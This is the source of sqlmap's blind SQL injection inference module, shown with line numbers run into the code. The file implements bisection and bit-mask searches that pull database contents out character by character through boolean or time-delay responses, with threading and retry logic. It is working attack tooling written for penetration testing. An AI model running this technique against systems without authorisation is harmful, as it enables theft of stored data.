Path: blob/master/lib/techniques/blind/inference.py
2992 views
#!/usr/bin/env python12"""3Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)4See the file 'LICENSE' for copying permission5"""67from __future__ import division89import re10import time1112from lib.core.agent import agent13from lib.core.common import Backend14from lib.core.common import calculateDeltaSeconds15from lib.core.common import dataToStdout16from lib.core.common import decodeDbmsHexValue17from lib.core.common import decodeIntToUnicode18from lib.core.common import filterControlChars19from lib.core.common import getCharset20from lib.core.common import getCounter21from lib.core.common import getPartRun22from lib.core.common import getTechnique23from lib.core.common import getTechniqueData24from lib.core.common import goGoodSamaritan25from lib.core.common import hashDBRetrieve26from lib.core.common import hashDBWrite27from lib.core.common import incrementCounter28from lib.core.common import isDigit29from lib.core.common import isListLike30from lib.core.common import safeStringFormat31from lib.core.common import singleTimeWarnMessage32from lib.core.data import conf33from lib.core.data import kb34from lib.core.data import logger35from lib.core.data import queries36from lib.core.enums import ADJUST_TIME_DELAY37from lib.core.enums import CHARSET_TYPE38from lib.core.enums import DBMS39from lib.core.enums import PAYLOAD40from lib.core.exception import SqlmapThreadException41from lib.core.exception import SqlmapUnsupportedFeatureException42from lib.core.settings import CHAR_INFERENCE_MARK43from lib.core.settings import INFERENCE_BLANK_BREAK44from lib.core.settings import INFERENCE_EQUALS_CHAR45from lib.core.settings import INFERENCE_GREATER_CHAR46from lib.core.settings import INFERENCE_MARKER47from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR48from lib.core.settings import INFERENCE_UNKNOWN_CHAR49from lib.core.settings import MAX_BISECTION_LENGTH50from lib.core.settings import MAX_REVALIDATION_STEPS51from lib.core.settings import NULL52from lib.core.settings import PARTIAL_HEX_VALUE_MARKER53from lib.core.settings import PARTIAL_VALUE_MARKER54from lib.core.settings import PAYLOAD_DELIMITER55from lib.core.settings import RANDOM_INTEGER_MARKER56from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD57from lib.core.threads import getCurrentThreadData58from lib.core.threads import runThreads59from lib.core.unescaper import unescaper60from lib.request.connect import Connect as Request61from lib.utils.progress import ProgressBar62from lib.utils.safe2bin import safecharencode63from lib.utils.xrange import xrange64from thirdparty import six6566def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):67"""68Bisection algorithm that can be used to perform blind SQL injection69on an affected host70"""7172abortedFlag = False73showEta = False74partialValue = u""75finalValue = None76retrievedLength = 07778if payload is None:79return 0, None8081if charsetType is None and conf.charset:82asciiTbl = sorted(set(ord(_) for _ in conf.charset))83else:84asciiTbl = getCharset(charsetType)8586threadData = getCurrentThreadData()87timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))88retVal = hashDBRetrieve(expression, checkConf=True)8990if retVal:91if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal:92pass93elif PARTIAL_HEX_VALUE_MARKER in retVal:94retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")9596if retVal and conf.hexConvert:97partialValue = retVal98infoMsg = "resuming partial value: %s" % safecharencode(partialValue)99logger.info(infoMsg)100elif PARTIAL_VALUE_MARKER in retVal:101retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")102103if retVal and not conf.hexConvert:104partialValue = retVal105infoMsg = "resuming partial value: %s" % safecharencode(partialValue)106logger.info(infoMsg)107else:108infoMsg = "resumed: %s" % safecharencode(retVal)109logger.info(infoMsg)110111return 0, retVal112113if Backend.isDbms(DBMS.MCKOI):114match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I)115if match:116original = queries[Backend.getIdentifiedDbms()].inference.query117right = original.split('<')[1]118payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip()))119expression = match.group(1).strip()120121elif Backend.isDbms(DBMS.FRONTBASE):122match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I)123if match:124payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR))125payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1)126expression = match.group(2).strip()127128try:129# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API130if conf.predictOutput:131kb.partRun = getPartRun()132elif conf.api:133kb.partRun = getPartRun(alias=False)134else:135kb.partRun = None136137if partialValue:138firstChar = len(partialValue)139elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):140firstChar = 0141elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):142firstChar = int(conf.firstChar) - 1143if kb.fileReadMode:144firstChar <<= 1145elif hasattr(firstChar, "isdigit") and firstChar.isdigit() or isinstance(firstChar, int):146firstChar = int(firstChar) - 1147else:148firstChar = 0149150if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):151lastChar = 0152elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())):153lastChar = int(conf.lastChar)154elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(lastChar, int):155lastChar = int(lastChar)156else:157lastChar = 0158159if Backend.getDbms():160_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)161nulledCastedField = agent.nullAndCastField(fieldToCastStr)162expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)163expressionUnescaped = unescaper.escape(expressionReplaced)164else:165expressionUnescaped = unescaper.escape(expression)166167if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int):168length = int(length)169else:170length = None171172if length == 0:173return 0, ""174175if length and (lastChar > 0 or firstChar > 0):176length = min(length, lastChar or length) - firstChar177178if length and length > MAX_BISECTION_LENGTH:179length = None180181showEta = conf.eta and isinstance(length, int)182183if kb.bruteMode:184numThreads = 1185else:186numThreads = min(conf.threads or 0, length or 0) or 1187188if showEta:189progress = ProgressBar(maxValue=length)190191if numThreads > 1:192if not timeBasedCompare or kb.forceThreads:193debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))194logger.debug(debugMsg)195else:196numThreads = 1197198if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)):199warnMsg = "running in a single-thread mode. Please consider "200warnMsg += "usage of option '--threads' for faster data retrieval"201singleTimeWarnMessage(warnMsg)202203if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):204if isinstance(length, int) and numThreads > 1:205dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))206dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))207else:208dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))209210def tryHint(idx):211with kb.locks.hint:212hintValue = kb.hintValue213214if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx:215if "'%s'" % CHAR_INFERENCE_MARK in payload:216posValue = hintValue[idx - 1]217else:218posValue = ord(hintValue[idx - 1])219220markingValue = "'%s'" % CHAR_INFERENCE_MARK221unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))222forgedPayload = agent.extractPayload(payload) or ""223forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)).replace(markingValue, unescapedCharValue)224result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False)225incrementCounter(getTechnique())226227if result:228return hintValue[idx - 1]229230with kb.locks.hint:231kb.hintValue = ""232233return None234235def validateChar(idx, value):236"""237Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay238"""239240validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)241242if "'%s'" % CHAR_INFERENCE_MARK not in payload:243forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))244else:245# e.g.: ... > '%c' -> ... > ORD(..)246markingValue = "'%s'" % CHAR_INFERENCE_MARK247unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value))248forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)249250result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)251252if result and timeBasedCompare and getTechniqueData().trueCode:253result = threadData.lastCode == getTechniqueData().trueCode254if not result:255warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, getTechniqueData().trueCode)256singleTimeWarnMessage(warnMsg)257258incrementCounter(getTechnique())259260return result261262def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):263"""264continuousOrder means that distance between each two neighbour's265numerical values is exactly 1266"""267268result = tryHint(idx)269270if result:271return result272273if charTbl is None:274charTbl = type(asciiTbl)(asciiTbl)275276originalTbl = type(charTbl)(charTbl)277278if kb.disableShiftTable:279shiftTable = None280elif continuousOrder and shiftTable is None:281# Used for gradual expanding into unicode charspace282shiftTable = [2, 2, 3, 3, 3]283284if "'%s'" % CHAR_INFERENCE_MARK in payload:285for char in ('\n', '\r'):286if ord(char) in charTbl:287charTbl.remove(ord(char))288289if not charTbl:290return None291292elif len(charTbl) == 1:293forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))294result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)295incrementCounter(getTechnique())296297if result:298return decodeIntToUnicode(charTbl[0])299else:300return None301302maxChar = maxValue = charTbl[-1]303minValue = charTbl[0]304firstCheck = False305lastCheck = False306unexpectedCode = False307308if continuousOrder:309while len(charTbl) > 1:310position = None311312if charsetType is None:313if not firstCheck:314try:315try:316lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]317except IndexError:318lastChar = None319else:320if 'a' <= lastChar <= 'z':321position = charTbl.index(ord('a') - 1) # 96322elif 'A' <= lastChar <= 'Z':323position = charTbl.index(ord('A') - 1) # 64324elif '0' <= lastChar <= '9':325position = charTbl.index(ord('0') - 1) # 47326except ValueError:327pass328finally:329firstCheck = True330331elif not lastCheck and numThreads == 1: # not usable in multi-threading environment332if charTbl[(len(charTbl) >> 1)] < ord(' '):333try:334# favorize last char check if current value inclines toward 0335position = charTbl.index(1)336except ValueError:337pass338finally:339lastCheck = True340341if position is None:342position = (len(charTbl) >> 1)343344posValue = charTbl[position]345falsePayload = None346347if "'%s'" % CHAR_INFERENCE_MARK not in payload:348forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))349falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))350else:351# e.g.: ... > '%c' -> ... > ORD(..)352markingValue = "'%s'" % CHAR_INFERENCE_MARK353unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))354forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)355falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)356357if timeBasedCompare:358if kb.responseTimeMode:359kb.responseTimePayload = falsePayload360else:361kb.responseTimePayload = None362363result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)364365incrementCounter(getTechnique())366367if not timeBasedCompare and getTechniqueData() is not None:368unexpectedCode |= threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode)369if unexpectedCode:370if threadData.lastCode is not None:371warnMsg = "unexpected HTTP code '%s' detected." % threadData.lastCode372else:373warnMsg = "unexpected response detected."374375warnMsg += " Will use (extra) validation step in similar cases"376377singleTimeWarnMessage(warnMsg)378379if result:380minValue = posValue381382if not isinstance(charTbl, xrange):383charTbl = charTbl[position:]384else:385# xrange() - extended virtual charset used for memory/space optimization386charTbl = xrange(charTbl[position], charTbl[-1] + 1)387else:388maxValue = posValue389390if not isinstance(charTbl, xrange):391charTbl = charTbl[:position]392else:393charTbl = xrange(charTbl[0], charTbl[position])394395if len(charTbl) == 1:396if maxValue == 1:397return None398399# Going beyond the original charset400elif minValue == maxChar:401# If the original charTbl was [0,..,127] new one402# will be [128,..,(128 << 4) - 1] or from 128 to 2047403# and instead of making a HUGE list with all the404# elements we use a xrange, which is a virtual405# list406if expand and shiftTable:407charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())408originalTbl = xrange(charTbl)409maxChar = maxValue = charTbl[-1]410minValue = charTbl[0]411else:412kb.disableShiftTable = True413return None414else:415retVal = minValue + 1416417if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):418if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):419if not kb.originalTimeDelay:420kb.originalTimeDelay = conf.timeSec421422threadData.validationRun = 0423if (retried or 0) < MAX_REVALIDATION_STEPS:424errMsg = "invalid character detected. retrying.."425logger.error(errMsg)426427if timeBasedCompare:428if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:429conf.timeSec += 1430warnMsg = "increasing time delay to %d second%s" % (conf.timeSec, 's' if conf.timeSec > 1 else '')431logger.warning(warnMsg)432433if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:434dbgMsg = "turning off time auto-adjustment mechanism"435logger.debug(dbgMsg)436kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO437438return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)439else:440errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)441logger.error(errMsg)442conf.timeSec = kb.originalTimeDelay443return decodeIntToUnicode(retVal)444else:445if timeBasedCompare:446threadData.validationRun += 1447if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:448dbgMsg = "turning back on time auto-adjustment mechanism"449logger.debug(dbgMsg)450kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES451452return decodeIntToUnicode(retVal)453else:454return None455else:456if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset:457errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms()458raise SqlmapUnsupportedFeatureException(errMsg)459460candidates = list(originalTbl)461bit = 0462while len(candidates) > 1:463bits = {}464for candidate in candidates:465bit = 0466while candidate:467bits.setdefault(bit, 0)468bits[bit] += 1 if candidate & 1 else -1469candidate >>= 1470bit += 1471472choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0]473mask = 1 << choice474475forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0))476result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)477incrementCounter(getTechnique())478479if result:480candidates = [_ for _ in candidates if _ & mask > 0]481else:482candidates = [_ for _ in candidates if _ & mask == 0]483484bit += 1485486if candidates:487forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0]))488result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)489incrementCounter(getTechnique())490491if result:492return decodeIntToUnicode(candidates[0])493494# Go multi-threading (--threads > 1)495if numThreads > 1 and isinstance(length, int) and length > 1:496threadData.shared.value = [None] * length497threadData.shared.index = [firstChar] # As list for python nested function scoping498threadData.shared.start = firstChar499500try:501def blindThread():502threadData = getCurrentThreadData()503504while kb.threadContinue:505with kb.locks.index:506if threadData.shared.index[0] - firstChar >= length:507return508509threadData.shared.index[0] += 1510currentCharIndex = threadData.shared.index[0]511512if kb.threadContinue:513val = getChar(currentCharIndex, asciiTbl, not (charsetType is None and conf.charset))514if val is None:515val = INFERENCE_UNKNOWN_CHAR516else:517break518519# NOTE: https://github.com/sqlmapproject/sqlmap/issues/4629520if not isListLike(threadData.shared.value):521break522523with kb.locks.value:524threadData.shared.value[currentCharIndex - 1 - firstChar] = val525currentValue = list(threadData.shared.value)526527if kb.threadContinue:528if showEta:529progress.progress(threadData.shared.index[0])530elif conf.verbose >= 1:531startCharIndex = 0532endCharIndex = 0533534for i in xrange(length):535if currentValue[i] is not None:536endCharIndex = max(endCharIndex, i)537538output = ''539540if endCharIndex > conf.progressWidth:541startCharIndex = endCharIndex - conf.progressWidth542543count = threadData.shared.start544545for i in xrange(startCharIndex, endCharIndex + 1):546output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ')547548for i in xrange(length):549count += 1 if currentValue[i] is not None else 0550551if startCharIndex > 0:552output = ".." + output[2:]553554if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):555output = output[:-2] + ".."556557if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):558_ = count - firstChar559output += '_' * (min(length, conf.progressWidth) - len(output))560status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length))561output += status if _ != length else " " * len(status)562563dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output))564565runThreads(numThreads, blindThread, startThreadMsg=False)566567except KeyboardInterrupt:568abortedFlag = True569570finally:571value = [_ for _ in partialValue]572value.extend(_ for _ in threadData.shared.value)573574infoMsg = None575576# If we have got one single character not correctly fetched it577# can mean that the connection to the target URL was lost578if None in value:579partialValue = "".join(value[:value.index(None)])580581if partialValue:582infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue))583else:584finalValue = "".join(value)585infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))586587if conf.verbose in (1, 2) and infoMsg and not any((showEta, conf.api, kb.bruteMode)):588dataToStdout(infoMsg)589590# No multi-threading (--threads = 1)591else:592index = firstChar593threadData.shared.value = ""594595while True:596index += 1597598# Common prediction feature (a.k.a. "good samaritan")599# NOTE: to be used only when multi-threading is not set for600# the moment601if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:602val = None603commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)604605# If there is one single output in common-outputs, check606# it via equal against the query output607if commonValue is not None:608# One-shot query containing equals commonValue609testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)610611query = getTechniqueData().vector612query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue)))613query = agent.suffixQuery(query)614615result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)616incrementCounter(getTechnique())617618# Did we have luck?619if result:620if showEta:621progress.progress(len(commonValue))622elif conf.verbose in (1, 2) or conf.api:623dataToStdout(filterControlChars(commonValue[index - 1:]))624625finalValue = commonValue626break627628# If there is a common pattern starting with partialValue,629# check it via equal against the substring-query output630if commonPattern is not None:631# Substring-query containing equals commonPattern632subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))633testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False)634635query = getTechniqueData().vector636query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue)))637query = agent.suffixQuery(query)638639result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)640incrementCounter(getTechnique())641642# Did we have luck?643if result:644val = commonPattern[index - 1:]645index += len(val) - 1646647# Otherwise if there is no commonValue (single match from648# txt/common-outputs.txt) and no commonPattern649# (common pattern) use the returned common charset only650# to retrieve the query output651if not val and commonCharset:652val = getChar(index, commonCharset, False)653654# If we had no luck with commonValue and common charset,655# use the returned other charset656if not val:657val = getChar(index, otherCharset, otherCharset == asciiTbl)658else:659val = getChar(index, asciiTbl, not (charsetType is None and conf.charset))660661if val is None:662finalValue = partialValue663break664665if kb.data.processChar:666val = kb.data.processChar(val)667668threadData.shared.value = partialValue = partialValue + val669670if showEta:671progress.progress(index)672elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api:673dataToStdout(filterControlChars(val))674675# Note: some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces676if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY, DBMS.FRONTBASE) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():677finalValue = partialValue[:-INFERENCE_BLANK_BREAK]678break679elif charsetType and partialValue[-1:].isspace():680finalValue = partialValue[:-1]681break682683if (lastChar > 0 and index >= lastChar):684finalValue = "" if length == 0 else partialValue685finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue686partialValue = None687break688689except KeyboardInterrupt:690abortedFlag = True691finally:692kb.prependFlag = False693retrievedLength = len(finalValue or "")694695if finalValue is not None:696finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue697hashDBWrite(expression, finalValue)698elif partialValue:699hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))700701if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)):702infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength)703dataToStdout(infoMsg)704else:705if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):706dataToStdout("\n")707708if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:709infoMsg = "retrieved: %s" % filterControlChars(finalValue)710logger.info(infoMsg)711712if kb.threadException:713raise SqlmapThreadException("something unexpected happened inside the threads")714715if abortedFlag:716raise KeyboardInterrupt717718_ = finalValue or partialValue719720return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _721722def queryOutputLength(expression, payload):723"""724Returns the query output length.725"""726727infoMsg = "retrieving the length of query output"728logger.info(infoMsg)729730start = time.time()731732lengthExprUnescaped = agent.forgeQueryOutputLength(expression)733count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS)734735debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start))736logger.debug(debugMsg)737738if isinstance(length, six.string_types) and length.isspace():739length = 0740741return length742743744